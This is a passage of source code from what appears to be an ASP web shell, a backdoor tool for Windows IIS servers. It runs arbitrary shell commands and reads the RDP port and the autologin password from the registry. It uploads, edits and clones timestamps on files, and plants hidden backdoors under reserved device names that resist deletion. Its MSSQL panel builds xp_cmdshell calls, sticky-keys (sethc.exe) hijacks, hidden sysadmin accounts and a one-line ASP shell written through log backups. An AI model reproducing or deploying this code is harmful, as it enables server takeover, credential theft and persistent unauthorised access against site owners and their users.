i=0 To UBound(aryExEnvList) + doTr trId + doTd aryExEnvList(i)&":","" + doTd objWs.ExpandEnvironmentStrings("%"&aryExEnvList(i)&"%"),"" + doTtr + trIdAdd + Next + doTtable + chkerr(Err) + echo"
    " + Set objWshSysEnv=Nothing + Dim objTheDrive + doTable"100%" + doTh + echo"" + echo"Info of disks" + echo"" + doTtr + doTr 0 + doTd"Driver letter","" + doTd"Type","" + doTd"Label","" + doTd"File system","" + doTd"Space left","" + doTd"Total space","" + doTtr + trId=1 + For Each objTheDrive In objFso.Drives + Dim dLetter,dType,vName,fSystem,fSpace,tSize + dLetter=objTheDrive.DriveLetter + If Lcase(dLetter)<>"a"Then + dType=getDriveType(objTheDrive.DriveType) + vName=objTheDrive.VolumeName + fSystem=objTheDrive.Filesystem + fSpace=getTheSize(objTheDrive.FreeSpace) + tSize=getTheSize(objTheDrive.TotalSize) + doTr trId + doTd dLetter,"" + doTd dType,"" + doTd vName,"" + doTd fSystem,"" + doTd fSpace,"" + doTd tSize,"" + doTtr + End If + dLetter="" + dType="" + vName="" + fSystem="" + fSpace="" + tSize="" + trIdAdd + Next + doTtable + chkerr(Err) + Set objTheDrive=Nothing + Dim objTheFolder + Set objTheFolder=objFso.GetFolder(rootPath) + echo"
    " + doTable"100%" + doTh + echo"" + echo"Info of site:" + echo"" + doTtr + doTr 0 + doTd"Physical path:","" + doTd rootPath,"" + doTtr + doTr 1 + doTd"Current size:","" + doTd getTheSize(objTheFolder.Size),"" + doTtr + doTr 0 + doTd"File count:","" + doTd objTheFolder.Files.Count,"" + doTtr + doTr 1 + doTd"Folder count:","" + doTd objTheFolder.SubFolders.Count,"" + doTtr + doTtable + chkerr(Err) + echoLine"
    " + Dim autoLoginPath,autoLoginUserKey,autoLoginPassKey + Dim isAutoLoginEnable,autoLoginEnableKey,autoLoginUsername,autoLoginPassword + terminalPortPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" + terminalPortKey="PortNumber" + termPort=ReadReg(terminalPortPath&terminalPortKey) + If termPort=""Then termPort="Can't get terminal port.
    " + autoLoginPath="HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" + autoLoginEnableKey="AutoAdminLogon" + autoLoginUserKey="DefaultUserName" + autoLoginPassKey="DefaultPassword" + isAutoLoginEnable=ReadReg(autoLoginPath&autoLoginEnableKey) + If isAutoLoginEnable=0 Then + autoLoginUsername="Autologin isn't enabled" + Else + autoLoginUsername=ReadReg(autoLoginPath&autoLoginUserKey) + End If + If isAutoLoginEnable=0 Then + autoLoginPassword="Autologin isn't enabled" + Else + autoLoginPassword=ReadReg(autoLoginPath&autoLoginPassKey) + End If + doTable"100%" + doTh + echo"" + echo"Info of Terminal port&Autologin" + echo"" + doTtr + doTr 0 + doTd"Terminal port:","" + doTd termPort,"" + doTtr + doTr 1 + doTd"Autologin account:","" + doTd autoLoginUsername,"" + doTtr + doTr 0 + doTd"Autologin password:","" + doTd autoLoginPassword,"" + doTtr + doTtable + echo"" + chkerr(Err) + End Sub + + Sub PageObjOnSrv() + Dim i,objTmp,strObjectList,strDscList + + strObjectList="MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.TOOLS,MSWC.Status,MSWC.Counters,IISSample.ContentRotator,IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile,Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.Mailsender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image,Scripting.FileSystemObject,Adodb.Stream,Shell.Application,Shell.Application.1,WScript.Shell,WScript.Shell.1,WScript.Network,hzhost.modules" + strDscList="Ad Rotator,Browser info,NextLink,,,Counters,Content rotator,,Permission checker,ADODB connection,SA-FileUp,SoftArtisans FileManager,LyfUpload,ASPUpload,Dimac upload,Dimac JMail,CDONTS SMTP mail,ASPemail,ASPmail,dkQmail,Geocel mail,IISmail,SmtpMail,SoftArtisans ImageGen,Dimac W3Image,FSO,Stream ,,,,,,Hzhost module" + + aryObjectList=Split(strObjectList,",") + aryDscList=Split(strDscList,",") + showTitle"Server Object Probe" + echo"Check for other ObjectId or ClassId.
    " + doForm True + doInput"text","txtObjInfo",txtObjInfo,50,"" + echo" " + doSubmit"Check" + doFform + If txtObjInfo<>""Then + doUl + Call getObjInfo(txtObjInfo,"") + echo"" + End If + echo"
    " + echo"
    • Object nameStatus and more
    • " + + For i=0 To UBound(aryDscList) + Call getObjInfo(aryObjectList(i),aryDscList(i)) + Next + + echo"

    " + End Sub + + Sub PageUserList() + Dim objUser,objGroup,objComputer + + showTitle"Users and Groups Imformation" + Set objComputer=getObj("WinNT://.") + objComputer.Filter=Array("User") + doShowHideMe"User",False + doTable"100%" + For Each objUser in objComputer + doTh + echo""&objUser.Name&"" + doTtr + showUserInfo(objUser.Name) + Next + doTtable + echo"
    " + chkerr(Err) + doShowHideMe"UserGroup",False + objComputer.Filter=Array("Group") + doTable"100%" + trId=1 + For Each objGroup in objComputer + doTr trId + doTd objGroup.Name,"" + doTd objGroup.Description,"" + doTtr + trIdAdd + Next + doTtable + echo"" + chkerr(Err) + End Sub + + Sub PageCSInfo() + If Not isDebugMode Then On Error Resume Next + Dim strKey,strVar,strVariable,SessionContent + If SessionKey<>""Then Session(SessionKey)=SessionValue + showTitle"Server-Client Information" + doShowHideMe"ServerVariables",True + doTable"100%" + trId=1 + For Each strVariable In Request.ServerVariables + doTr trId + doTdNoWrap strVariable + doTd getServerVariable(strVariable),"" + doTtr + trIdAdd + Next + doTtable + echoLine"
    " + doShowHideMe"Application",True + doTable"100%" + trId=1 + For Each strVariable In Application.Contents + doTr trId + doTdNoWrap strVariable + doTd htmlEnc(Application(strVariable)),"" + doTtr + trIdAdd + Next + doTtable + echoLine"
    " + doShowHideMe"Session",True + echo"
    (ID"&Session.SessionId&")" + doTable"100%" + trId=1 + For Each strVariable In Session.Contents + SessionContent=Session(strVariable) + doTr trId + doTdNoWrap strVariable + doTd htmlEnc(SessionContent),"" + doTtr + trIdAdd + Next + doTr trId + doForm False + doTdSubmit"Set Session","20%" + echo" Key :" + doInput"text","SessionKey","",30,"" + echo"Value :" + doInput"text","SessionValue","",30,"" + + echo"" + doFform + doTtr + doTtable + echoLine"
    " + doShowHideMe"Cookies",True + doTable"100%" + trId=1 + For Each strVariable In Request.Cookies + If Request.Cookies(strVariable).HasKeys Then + For Each strKey In Request.Cookies(strVariable) + doTr trId + doTdNoWrap strVariable&"("&strKey&")" + doTd htmlEnc(Request.Cookies(strVariable)(strKey)),"" + doTtr + trIdAdd + Next + Else + doTr trId + doTdNoWrap strVariable + doTd htmlEnc(Request.Cookies(strVariable)),"" + doTtr + trIdAdd + End If + Next + doTtable + echo"" + chkerr(Err) + End Sub + + Sub PageWsCmdRun() + Dim CmdResult,tmpcmdstr + If Not isDebugMode Then On Error Resume Next + showTitle("WScript.Shell Execute") + If cmdPath<>""Then + If InStr(Lcase(cmdPath),"cmd.exe")>0 And InStr(cmdStr,"/c ")<1 Then + tmpcmdstr=cmdPath&" /c "&cmdStr + Else + tmpcmdstr=cmdPath&" "&cmdStr + End If + If needecho=1 Then + CmdResult=objWs.Exec(tmpcmdstr).StdOut.ReadAll() + Else + objWs.Run tmpcmdstr,0,False + End If + chkerr(Err) + Else + cmdPath="cmd.exe" + End If + doTable"100%" + doForm True + doTr 1 + doTd"Path","20%" + doTdInput"text","cmdPath",cmdPath,"60%","","" + echo"" + doChkBox"needecho",1," View result ","checked" + doSubmit"Run" + echo"" + doTtr + doTr 0 + doTd"Parameters","" + doTdInput"text","cmdStr",cmdStr,"","","2" + doTtr + doFform + doTtable + echo"
    Result:
    "&htmlEnc(CmdResult)&"" + chkerr(Err) + End Sub + + Sub PageFileExplorer() + If Not isDebugMode Then On Error Resume Next + If thePath=""Then thePath=pubPam + If thePath=""Then thePath=aspPath + If goaction<>"SaFileExplorer"Then goaction="FsoFileExplorer" + If subAct="down"Then + DownTheFile() + Response.End() + End If + If goaction="FsoFileExplorer"Then + strFileMethod="fso" + showTitle("FSO File Explorer") + Else + strFileMethod="sa" + showTitle("APP File Explorer") + End If + Select Case subAct + Case"delFile","delFolder" + delOne() + thePath=getLeft(thePath,"\",False) + Case"newone" + newOne() + Case"save","utfSave" + saveFile() + thePath=getLeft(thePath,"\",False) + Case"fileUpload" + StreamUpload() + Case"showEdit","utfEdit" + showEdit() + Case"rnFile","rnFolder" + renameOne() + thePath=getLeft(thePath,"\",False) + Case"cpFile","mvFile","cpFolder","mvFolder" + moveCopyOne() + thePath=getLeft(thePath,"\",False) + Case"getattrib" + getAttributes() + Case"Setattrib" + SetAttributes() + thePath=getLeft(thePath,"\",False) + Case"mkDoor" + MakeBackDoor() + End Select + If Len(thePath)<3 Then thePath=thePath&"\" + FileExplorer() + End Sub + + Sub FileExplorer() + Dim theFolder,folderId,extName,parentFolderName,objSize,fullPath,objLastModIfied,nowpath + If Not isDebugMode Then On Error Resume Next + If strFileMethod="fso"Then + Set theFolder=objFso.GetFolder(thePath) + parentFolderName=objFso.GetParentFolderName(thePath) + Else + Set theFolder=objSa.NameSpace(thePath) + dieErr Err + parentFolderName=getLeft(thePath,"\",False) + If InStr(parentFolderName,"\")<1 Then + parentFolderName=parentFolderName&"\" + End If + End If + nowpath=thePath + If Right(nowpath,1)<>"\"Then nowpath=nowpath&"\" + doHidden"nowPath",nowpath + doForm True + echo"Current Path :" + doInput"text","thePath",thePath,120,"" + echoLine"" + doSelect"","170px","onchange=""javascript:if(this.value!=''){dosubmit('"&goaction&"','',this.value);}""" + doOption"","Drivers/Comm folders" + doOption htmlEnc(mapath(".")),"." + doOption htmlEnc(mapath("/")),"/" + doOption"","----------------" + If Lcase(strFileMethod)="fso"Then + For Each drive In objFso.Drives + doOption drive.DriveLetter&":\",drive.DriveLetter&":\" + Next + doOption"","----------------" + End If + doOption"C:\Program Files","C:\Program Files" + doOption"C:\Program Files\RhinoSoft.com","RhinoSoft.com" + doOption"C:\Program Files\Serv-U","Serv-U" + doOption"C:\Program Files\Radmin","Radmin" + doOption"C:\Program Files\Microsoft SQL Server","Mssql" + doOption"C:\Program Files\Mysql","Mysql" + doOption"","----------------" + doOption"C:\Documents and Settings\All Users","All Users" + doOption"C:\Documents and Settings\All Users\Documents","Documents" + doOption"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere" + doOption"C:\Documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs" + doOption"","----------------" + doOption"D:\Program Files","D:\Program Files" + doOption"D:\Serv-U","D:\Serv-U" + doOption"D:\Radmin","D:\Radmin" + doOption"D:\Mysql","D:\Mysql" + doSselect + doSubmit"Go" + doFform + echoLine"
    " + doHidden"subAct","fileUpload" + doHidden"thePath",thePath + doTable"60%" + doTr 1 + doTdInput"file","upfile","","30%","","" + doTd"Save As :","15%" + doTdInput"text","destName","","30%","","" + doTdInput"button",""," Upload ","20%","onClick=""javascript:dosubmit('"&goaction&"','fileUpload','')""","" + doTtr + doFform + If strFileMethod="fso"Then + doTr 0 + doForm True + doHidden"thePath",thePath + doHidden"subAct","newone" + doTdInput"text","newOneName","","","","" + echo"" + doInput"radio","newOneType","file","","checked" + echo"File" + doInput"radio","newOneType","folder","","" + echo"Folder" + doTdSubmit"New one","" + 'doTdInput"button","makedoor","Make backdoor","","onClick=""javascript:dosubmit('"&goaction&"','mkDoor','"&doPathFormat(thePath)&"')""","" + doFform + doTtr + End If + echo"
    " + If strFileMethod="fso"Then + If Not objFso.FolderExists(thePath)Then + errMsgAdd thePath&" Folder dosen't exists or access denied!" + doFin + End If + End If + doShowHideme"Folders",False + doTable"100%" + doTh + doTd"Folder name","" + doTd"Size","" + doTd"Last modIfied","" + echo"Action" + If strFileMethod="fso"Then + echo" - " + doSubHref goaction,"mkDoor",doPathFormat(thePath),"Make a hidden backdoor here","" + End If + echo"" + doTtr + doTr 0 + echo"" + doSubHref goaction,"",doPathFormat(parentFolderName),"Parent Directory","" + echo"" + doTtr + trId=1 + If strFileMethod="fso"Then + For Each objX In theFolder.SubFolders + objLastModIfied=objX.DateLastModIfied + doTr trId + echo"" + doSubHref goaction,"",objX.Name,objX.Name,"" + echo"" + doTd htmlEnc(""),"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"cpFolder",objX.Name,"Copy"," -" + doSubHref goaction,"mvFolder",objX.Name,"Move"," -" + doSubHref goaction,"rnFolder",objX.Name,"Rename"," -" + doSubHref "AddToMdb","fsoPack",objX.Name,"Package"," -" + doSubHref goaction,"delFolder",objX.Name,"Delete","" + echoLine"" + doTtr + trIdAdd + Next + Else + For Each objX In theFolder.Items + If objX.IsFolder Then + objLastModIfied=theFolder.GetDetailsOf(objX,3) + doTr trId + echo"" + doSubHref goaction,"",objX.Name,objX.Name,"" + echo"" + doTd htmlEnc(""),"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"rnFolder",objX.Name,"Rename"," -" + doSubHref "AddToMdb","appPack",objX.Name,"Package","" + echoLine"" + doTtr + trIdAdd + End If + Next + End If + doTtable + echoLine"
    " + doShowHideme"Files",False + doTable"100%" + echo"" + doTh + doTd"File name","" + doTd"Size","" + doTd"Last modIfied","" + doTd"Action","" + doTtr + echo"" + trId=0 + If strFileMethod="fso"Then + For Each objX In theFolder.Files + objSize=GetTheSize(objX.Size) + objLastModIfied=objX.DateLastModIfied + If Lcase(Left(objX.Path,Len(rootPath)))<>Lcase(rootPath) Then + folderId="" + Else + folderId=Replace(Replace(UrlEnc(Mid(objX.Path,Len(rootPath)+1)),"%2E","."),"+","%20") + End If + doTr trId + If folderId=""Then + doTd objX.Name,"" + Else + doTd""&objX.Name&"","" + End If + doTd objSize,"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"showEdit",objX.Name,"Edit"," -" + doSubHref goaction,"cpFile",objX.Name,"Copy"," -" + doSubHref goaction,"mvFile",objX.Name,"Move"," -" + doSubHref goaction,"rnFile",objX.Name,"Rename"," -" + doSubHref goaction,"down",objX.Name,"Down"," -" + doSubHref goaction,"getattrib",objX.Name,"Attributes"," -" + doSqlHref "showTables",objX.Name,"","","","Database"," -" + doSubHref goaction,"delFile",objX.Name,"Delete","" + echoLine"" + doTtr + trIdAdd + Next + Else + For Each objX In theFolder.Items + If Not objX.IsFolder Then + Dim fName + fName=getRight(objX.Path,"\") + fullPath=doPathFormat(objX.Path) + objSize=theFolder.GetDetailsOf(objX,1) + objLastModIfied=theFolder.GetDetailsOf(objX,3) + If Lcase(Left(objX.Path,Len(rootPath)))<>Lcase(rootPath) Then + folderId="" + Else + folderId=Replace(Replace(UrlEnc(Mid(objX.Path,Len(rootPath)+1)),"%2E","."),"+","%20") + End If + doTr trId + If folderId=""Then + doTd getRight(objX.Path,"\"),"" + Else + doTd""& getRight(objX.Path,"\")&"","" + End If + doTd objSize,"" + doTd objLastModIfied,"" + echo"" + doSubHref goaction,"showEdit",fName,"Edit"," -" + doSubHref goaction,"rnFile",fName,"Rename"," -" + doSubHref goaction,"down",fName,"Down"," -" + doSubHref goaction,"getattrib",fName,"Attributes"," -" + doSqlHref "showTables",fName,"","","","Database","" + echoLine"" + doTtr + trIdAdd + End If + Next + End If + doTtable + echo"" + chkerr(Err) + End Sub + + Sub getAttributes() + Dim fsoTheFile,appTheFile,strName,strAtt,intValue,objFolder,strPth,refName + If Not isDebugMode Then On Error Resume Next + If IsObject(objFso)Then + Set fsoTheFile=objFso.GetFile(thePath) + End If + If IsObject(objSa)Then + strPth=getLeft(thePath,"\",False) + strName=getRight(thePath,"\") + Set objFolder=objSa.NameSpace(strPth) + Set appTheFile=objFolder.ParseName(strName) + End If + echo"
    " + doTable"60%" + doForm True + doHidden"subAct","Setattrib" + doHidden"thePath",thePath + doTr 1 + doTdSubmit"Set / Clone","" + doTd thePath,"" + doTtr + doTr 0 + doTd"Attributes","" + If IsObject(objFso)Then + intValue=fsoTheFile.Attributes + strAtt="system " + strAtt=strAtt&"hide " + strAtt=strAtt&"readonly " + strAtt=strAtt&"save " + If intValue>=128 Then intValue=intValue-128 + If intValue>=64 Then intValue=intValue-64 + If intValue>=32 Then + intValue=intValue-32 + strAtt=Replace(strAtt,"{$archive}","checked") + End If + If intValue>=16 Then intValue=intValue-16 + If intValue>=8 Then intValue=intValue-8 + If intValue>=4 Then + intValue=intValue-4 + strAtt=Replace(strAtt,"{$system}","checked") + End If + If intValue>=2 Then + intValue=intValue-2 + strAtt=Replace(strAtt,"{$hidden}","checked") + End If + If intValue>=1 Then + intValue=intValue-1 + strAtt=Replace(strAtt,"{$readonly}","checked") + End If + doTd strAtt,"" + Else + doTd"FSO object disabled,can't get/Set attributes -_-~!","" + End If + doTtr + If IsObject(objSa)Then + doTr 1 + doTd"Date created","" + doTd objFolder.GetDetailsOf(appTheFile,4),"" + doTtr + doTr 0 + doTd"Date last modIfied","" + doTdInput"text","datem",objFolder.GetDetailsOf(appTheFile,3),"","","" + doTtr + doTr 1 + doTd"Date last accessed","" + doTd objFolder.GetDetailsOf(appTheFile,5),"" + doTtr + Else + doTr 1 + doTd"Date created","" + doTd fsoTheFile.DateCreated,"" + doTtr + doTr 0 + doTd"Date last modIfied","" + doTd fsoTheFile.DateLastModIfied,"" + doTtr + doTr 1 + doTd"Date last accessed","" + doTd fsoTheFile.DateLastAccessed,"" + doTtr + End If + doTr 0 + If IsObject(objSa)Then + doTd"Clone time ","" + echo"" + doSelect"strRefFile","100%","" + doOption "","Do not clone" + For Each objX In objFolder.Items + If Not objX.IsFolder Then + refName=getRight(objX.Path,"\") + doOption refName,objFolder.GetDetailsOf(objFolder.ParseName(refName),3)&" --- "&refName + End If + Next + Else + echo"App object disabled,can't modIfy time -_-~!" + End If + doTtable + doFform + doFin() + End Sub + Sub SetAttributes() + If Not isDebugMode Then On Error Resume Next + Dim myAttributes,fsoTheFile,strPth,strName,objFolder,appTheFile + If IsObject(objFso)Then + Set fsoTheFile=objFso.GetFile(thePath) + End If + If IsObject(objSa)Then + strPth=getLeft(thePath,"\",False) + strName=getRight(thePath,"\") + Set objFolder=objSa.NameSpace(strPth) + Set appTheFile=objFolder.ParseName(strName) + End If + If fsoAttrib<>""Then + fsoAttrib=Split(Replace(fsoAttrib," ",""),",") + For i=0 To UBound(fsoAttrib) + myAttributes=myAttributes+CInt(fsoAttrib(i)) + Next + fsoTheFile.Attributes=myAttributes + If Err Then + chkErr(Err) + Else + errMsgAdd"Attributes modIfied" + End If + End If + If strRefFile=""Then + If datem<>"" And IsDate(datem)Then + appTheFile.ModIfyDate=datem + If Err Then + chkErr(Err) + Else + errMsgAdd"Time modIfied" + End If + End If + Else + appTheFile.ModIfyDate=objFolder.GetDetailsOf(objFolder.ParseName(strRefFile),3) + If Err Then + chkErr(Err) + Else + errMsgAdd"Time modIfied" + End If + End If + End Sub + Sub MakeBackDoor() + If fileName<>""Then + Dim savePath,fTheFile + savePath="\\.\"&thePath&"\"&fileName + If moveme=1 Then + Call objFso.MoveFile(getServerVariable("PATH_TRANSLATED"),savePath) + Set fTheFile=objFso.GetFile(savePath) + fTheFile.Attributes=6 + Response.Redirect(fileName) + Else + fsoSaveToFile savePath,fileContent + Set fTheFile=objFso.GetFile(savePath) + fTheFile.Attributes=6 + End If + If Err Then + chkErr(err) + Else + errMsgAdd("Backdoor established,have fun.") + End If + Exit Sub + End If + doForm True + doTable"100%" + doHidden"subAct","mkDoor" + echoLine"Make hidden backdoor
    " + doTable"100%" + doTr 1 + doTd"Path","20%" + doTdInput"text","thePath",thePath,"60%","","" + doTdSubmit"Save","20%" + doTtr + doTr 0 + doTd"Content","" + doTdText "fileContent","",10 + echo"" + doChkBox"moveme",1,"Move myself there","onclick='javascript:document.getElementById(""fileContent"").disabled=this.checked'" + echo"" + doTtr + doTr 1 + echo"" + doSelect"fileName","100%","" + doOption"aux.asp","aux.asp" + doOption"con.asp","con.asp" + doOption"com1.asp","com1.asp" + doOption"com2.asp","com2.asp" + doOption"nul.asp","nul.asp" + doOption"prn.asp","prn.asp" + doSselect + echo"" + echoLine"Cannot del,cannot open in ordinary way,this will drive the web administrator madness :)" + doTtr + doTtable + doFform + doFin + End Sub + + Sub PageMsDataBase() + If Not isDebugMode Then On Error Resume Next + If connStr=""Then connStr=Request.Cookies(cookiePre&"connStr") + ShowDBTool() + If connStr<>""Then + Select Case subAct + Case"showQuery" + showQuery() + Case"delTable" + delTable() + Case"expTable" + expTable() + Case"saup","sadown" + saFile() + Case Else + showTables() + End Select + End If + DestoryConn + doFin + End Sub + + Sub ShowDBTool() + Dim rs,rolearr,strfuncs,showfuncs + If Not isDebugMode Then On Error Resume Next + showTitle("Database Operation") + doForm True + echoLine"Connect String : " + doInput"text","connStr",connStr,160,"" + echo" " + doSubmit"OK" + doFform + doShowHideMe"GetConnectString",True + doTable"100%" + doTr 1 + doTd"SqlOleDb","10%" + echoLine"Server:" + doInput"text","MsServer","127.0.0.1","15","" + echo" Username:" + doInput"text","MsUser","sa","10","" + echo" Password:" + doInput"text","MsPass","","10","" + echo" DataBase:" + doInput"text","DBPath","","10","" + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:getconnStr(MsServer.value,MsUser.value,MsPass.value,DBPath.value)""","" + doTtr + doTr 0 + doTd"Jet","" + echoLine"DB path:" + doInput"text","accdbpath",aspPath&"\","82","" + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:getAccStr(accdbpath.value)""","" + doTtr + doTtable + echo"
    " + If Err Then Err.clear + If connStr<>""Then + CreateConn connStr + Response.Cookies(cookiePre&"connStr")=connStr + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "select @@version,db_name()",conn,1,1 + If Err Then + dbType="access" + Err.clear + Set rs=Nothing + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "select cstr('access')",conn,1,1 + If Err Then + dbType="others" + Err.clear + End If + rs.Close + Set rs=Nothing + Else + sqlver=rs(0) + dbname=rs(1) + rs.close + dbType="mssql" +%> + +<% + End If + If subAct="showQuery"And queryStr=""Then + If dbType="others"Then + queryStr="select * from "&strTable + Else + queryStr="select * from ["&strTable&"]" + End If + End If + doSqlHref "showTables","","","","","Show Tables","" + echo"
    " + doForm True + doHidden"subAct","showQuery" + doHidden"connStr",connStr + doTable"100%" + If dbType="mssql"Then + doTr 1 + echoLine"Version : "&htmlEnc(sqlver)&"" + doTtr + rolearr="sysadmin|db_owner|public" + doTr 0 + echo"" + For Each strrole In Split(rolearr,"|") + If strrole="sysadmin"Then + rs.Open "select IS_SRVROLEMEMBER('"&strrole&"')",conn,1,1 + Else + rs.Open "select IS_ROLEMEMBER('"&strrole&"')",conn,1,1 + End If + If rs(0)=1 Then + echo "Current ServerRole : "&strrole&" " + rs.close + Exit For + End If + rs.close + Next + echo "| Switch Database : " + rs.Open "select name from master..sysdatabases",conn,1,1 + rs.movefirst + Do While Not rs.eof + echo ""&rs("name")&" | " + rs.movenext + Loop + echo"" + trIdAdd + rs.close + Set rs=Nothing + End If + doTr 1 + doTd"Execute Sql","10%" + doTdText"queryStr",queryStr,5 + doTdSubmit"Submit","10%" + doTtr + doTtable + doFform + If dbType="mssql"Then + echo"Functions : " + strfuncs=Split("xp_cmd|xp_dir|xp_reg|xp_regw|wsexec|sbexec|fsocopy|makecab|addproc|delproc|enfunc|addlogin|addsys|logback|saup|sadown","|") + showfuncs=Split("xp_cmdshell|xp_dirtree|xp_regread|xp_regwrite|ws exec|sandbox exec|FSO copy|Cab copy|add procedure|del procedure|enable function|add sql user|add sys user|logbackup|saupfile|sadownfile","|") + For i=0 To UBound(strfuncs) + echo""&showfuncs(i)&" | " + Next + echo"

    " + doHideSpan"xp_cmd",True + doTable"100%" + doTr 1 + doTd"Command","10%" + doTdInput"text","xpcmdstr","net user","80%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doXpStr(xpcmdstr.value)""","" + doTtr + doTtable + echo"" + doHideSpan"xp_dir",True + doTable"100%" + doTr 1 + doTd"Path","10%" + doTdInput"text","xpdirstr",aspPath,"80%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doXpDirStr(xpdirstr.value)""","" + doTtr + doTtable + echo"" + doHideSpan"xp_reg",True + doTable"100%" + doTr 1 + doTd"Path","10%" + doTdInput"text","xpregpath","HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName","80%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doRegStr(xpregpath.value)""","" + doTtr + doTtable + echo"" + doHideSpan"xp_regw",True + doTable"100%" + doTr 1 + doTd"Path","10%" + doTdInput"text","rwpath","HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Sethc.exe\debugger","80%","","4" + doTtr + doTr 0 + doTd"Type","" + doTdInput"text","rwtype","REG_SZ","30%","","" + doTd"Value","" + doTdInput"text","rwvalue","cmd.exe","40%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doRegWrite(rwpath.value,rwtype.value,rwvalue.value)""","" + doTtr + doTtable + echo"" + doHideSpan"wsexec",True + doTable"100%" + doTr 1 + doTd"Command","10%" + doTdInput"text","spstr","cmd /c net user","","","4" + doTtr + doTr 0 + doTd"Temp File","" + doTdInput"text","sptemp","C:\WINDOWS\Temp\~098611.tmp","50%","","" + doTd"Step","20%" + echo"" + doSelect"spstep","100%","" + doOption 1,1 + doOption 2,2 + doSselect + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:doSpStr(spstr.value,sptemp.value,spstep.value)""","" + doTtr + doTtable + echo"" + doHideSpan"sbexec",True + doTable"100%" + doTr 1 + doTd"Command","10%" + doTdInput"text","boxstr","cmd /c net user","","","5" + doTtr + doTr 0 + doTd"Mdb Path","" + doTdInput"text","boxpath","C:\windows\system32\ias\ias.mdb","30%","","" + doTd"Temp File","10%" + doTdInput"text","boxtemp","C:\WINDOWS\Temp\~098611.tmp","30%","","" + echo"Step " + doSelect"boxstep","40px","" + doOption 1,1 + doOption 2,2 + doOption 3,3 + doSselect + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:doBoxStr(boxstr.value,boxpath.value,boxtemp.value,boxstep.value)""","" + doTtr + doTtable + echo"" + doHideSpan"fsocopy",True + doTable"100%" + doTr 1 + doTd"Source","10%" + doTdInput"text","fsoori","C:\WINDOWS\system32\cmd.exe","35%","","" + doTd"Target","10%" + doTdInput"text","fsotag","C:\WINDOWS\system32\Sethc.exe","35%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doFsoStr(fsoori.value,fsotag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"makecab",True + doTable"100%" + doTr 1 + doTd"Source","10%" + doTdInput"text","cabori","C:\WINDOWS\system32\cmd.exe","35%","","" + doTd"Target","10%" + doTdInput"text","cabtag","C:\WINDOWS\system32\Sethc.exe","35%","","" + doTdInput"button","","Generate","10%","onClick=""javascript:doMakeCab(cabori.value,cabtag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"addproc",True + doTable"80%%" + doTr 1 + doTd"Procedure","20%" + echo"" + doSelect"addsptag","100%","" + doOption "xp_cmdshell","xp_cmdshell" + doOption "xp_dirtree","xp_dirtree" + doOption "xp_regread","xp_regread" + doOption "xp_regwrite","xp_regwrite" + doOption "sp_oacreate","sp_oacreate" + doSselect + doTd"DLL","20%" + echo"" + doSelect"addspdll","100%","" + doOption "xplog70.dll","xplog70.dll" + doOption "xpstar.dll","xpstar.dll" + doOption "odsole70.dll","odsole70.dll" + doSselect + doTdInput"button","","Generate","20%","onClick=""javascript:doAddSp(addsptag.value,addspdll.value)""","" + doTtr + doTtable + echo"" + doHideSpan"delproc",True + doTable"40%" + doTr 1 + doTd"Procedure","30%" + echo"" + doSelect"delsptag","100%","" + doOption "xp_cmdshell","xp_cmdshell" + doOption "xp_dirtree","xp_dirtree" + doOption "xp_regread","xp_regread" + doOption "xp_regwrite","xp_regwrite" + doOption "sp_oacreate","sp_oacreate" + doSselect + echo"" + doTdInput"button","","Generate","30%","onClick=""javascript:doDelSp(delsptag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"enfunc",True + doTable"40%" + doTr 1 + doTd"Function","30%" + echo"" + doSelect"ensptag","100%","" + doOption "xp_cmdshell","xp_cmdshell" + doOption "Ole Automation Procedures","sp_oacreate" + doOption "Ad Hoc Distributed Queries","openrowSet" + doSselect + echo"" + doTdInput"button","","Generate","30%","onClick=""javascript:doEnableSp(ensptag.value)""","" + doTtr + doTtable + echo"" + doHideSpan"addlogin",True + doTable"80%" + doTr 1 + doTd"Username","10%" + doTdInput"text","addusername","Bloodsword$","30%","","" + doTd"Password","10%" + doTdInput"text","adduserpass","0kee","30%","","" + doTdInput"button","","Generate","20%","onClick=""javascript:doAddLogin(addusername.value,adduserpass.value)""","" + doTtr + doTtable + echo"" + doHideSpan"addsys",True + doTable"80%" + doTr 1 + doTd"Username","10%" + doTdInput"text","sysname","Bloodsword$","30%","","" + doTd"Password","10%" + doTdInput"text","syspass","0kee","30%","","" + doTdInput"button","","Generate","20%","onClick=""javascript:doAddSysUser(sysname.value,syspass.value)""","" + doTtr + doTtable + echo"" + doHideSpan"logback",True + doTable"100%" + doTr 1 + doTd"Content","10%" + echo"" + doTextarea"logContent","<%response.clear:execute request(""value""):response.End%"&">","100%",5,"" + echo"" + doTdInput"button","","Generate","10%","onClick=""javascript:doLogBackup(logContent.value,logPath.value,logdb.value,logstep.value)""","" + doTtr + doTr 0 + doTd"Path","10%" + 